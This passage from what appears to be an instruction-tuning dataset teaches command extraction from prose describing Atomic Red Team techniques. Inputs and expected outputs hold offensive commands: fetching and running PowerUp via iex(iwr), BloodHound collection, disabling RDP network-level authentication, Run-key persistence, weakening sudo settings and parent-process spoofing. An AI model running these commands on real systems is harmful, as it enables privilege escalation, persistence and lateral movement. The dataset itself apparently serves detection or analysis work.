#{mshta_file_path}\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To disable network-level authentication for RDP, which enables remote interaction before authentication, use the following command in Command Prompt: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /d 0 /t REG_DWORD /f; To utilize the AudioDeviceCmdlets, run the following command: powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet", "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp\\\" /v UserAuthentication /d 0 /t REG_DWORD /f\\n\", \"powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For a complete list of kernel modules and to filter for those with 'vmm' in their name, run the following: kldstat\nkldstat | grep vmm\n; The WMI command-line utility can be used to extract detailed system information with the following commands: wmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\nGet-WmiObject win32_bios\n. This includes data about the processor, memory, motherboard, graphics card, and operating system.", "output": "{\"command_list\": [\"kldstat\\nkldstat | grep vmm\\n\", \"wmic cpu get name\\nwmic MEMPHYSICAL get MaxCapacity\\nwmic baseboard get product\\nwmic baseboard get version\\nwmic bios get SMBIOSBIOSVersion\\nwmic path win32_VideoController get name\\nwmic path win32_VideoController get DriverVersion\\nwmic path win32_VideoController get VideoModeDescription\\nwmic OS get Caption,OSArchitecture,Version\\nwmic DISKDRIVE get Caption\\nGet-WmiObject win32_bios\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test modifies the registry to execute calc.exe at startup by running the following PowerShell commands, which require a system reboot to take effect: \nif (!(Test-Path -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"; To configure Windows to launch calc.exe on boot, you'll need to create a registry key and set its value using the following command: \nif (!(Test-Path -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"", "output": "{\"command_list\": [\"if (!(Test-Path -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\")){\\n New-Item -ItemType Key -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\n}\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\" -Name \\\"#{target_key_value_name}\\\" -Value \\\"#{payload}\\\"\\n\", \"if (!(Test-Path -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\")){\\n New-Item -ItemType Key -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\"\\n}\\nSet-ItemProperty -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\" -Name \\\"#{target_key_value_name}\\\" -Value \\\"#{payload}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To stop a specific service, you can use the following command, which will display status information about the service: sc.exe stop #{service_name}; When you need to halt a particular service, execute this command: net.exe stop #{service_name}. The output will confirm if the service was stopped or if it wasn't running to begin with.", "output": "{\"command_list\": [\"sc.exe stop #{service_name}\\n\", \"net.exe stop #{service_name}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To disable sudo caching tty_tickets, which should only be done in non-production environments, use the following command:\nsudo sh -c \"echo Defaults \"\\'!\\'\"tty_tickets >> /usr/local/etc/sudoers\"\nsudo visudo -c -f /usr/local/etc/sudoers; To identify remote systems with file and print sharing enabled, use the following command sequence: net view /domain\nnet view\n", "output": "{\"command_list\": [\"sudo sh -c \\\"echo Defaults \\\"'!'\\\"tty_tickets >> /usr/local/etc/sudoers\\\"\\nsudo visudo -c -f /usr/local/etc/sudoers\\n\", \"net view /domain\\nnet view\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following command will spawn notepad.exe as a child process of the current one: Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}; The following PowerShell command spawns a process as a child of the initial svchost.exe process it finds: Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'", "output": "{\"command_list\": [\"Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}\", \"Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \\\"Name = 'svchost.exe' AND CommandLine LIKE '%'\\\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To simulate an adversary duplicating volume data for persistence or exfiltration, create an EBS snapshot in AWS using the following command: aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description \"Atomic Red Team Test Snapshot\" --query \"SnapshotId\" --output text; To create a snapshot of a managed disk in Azure, simulating adversary behavior for persistence, use the following command: az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus", "output": "{\"command_list\": [\"aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description \\\"Atomic Red Team Test Snapshot\\\" --query \\\"SnapshotId\\\" --output text\\n\", \"az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line 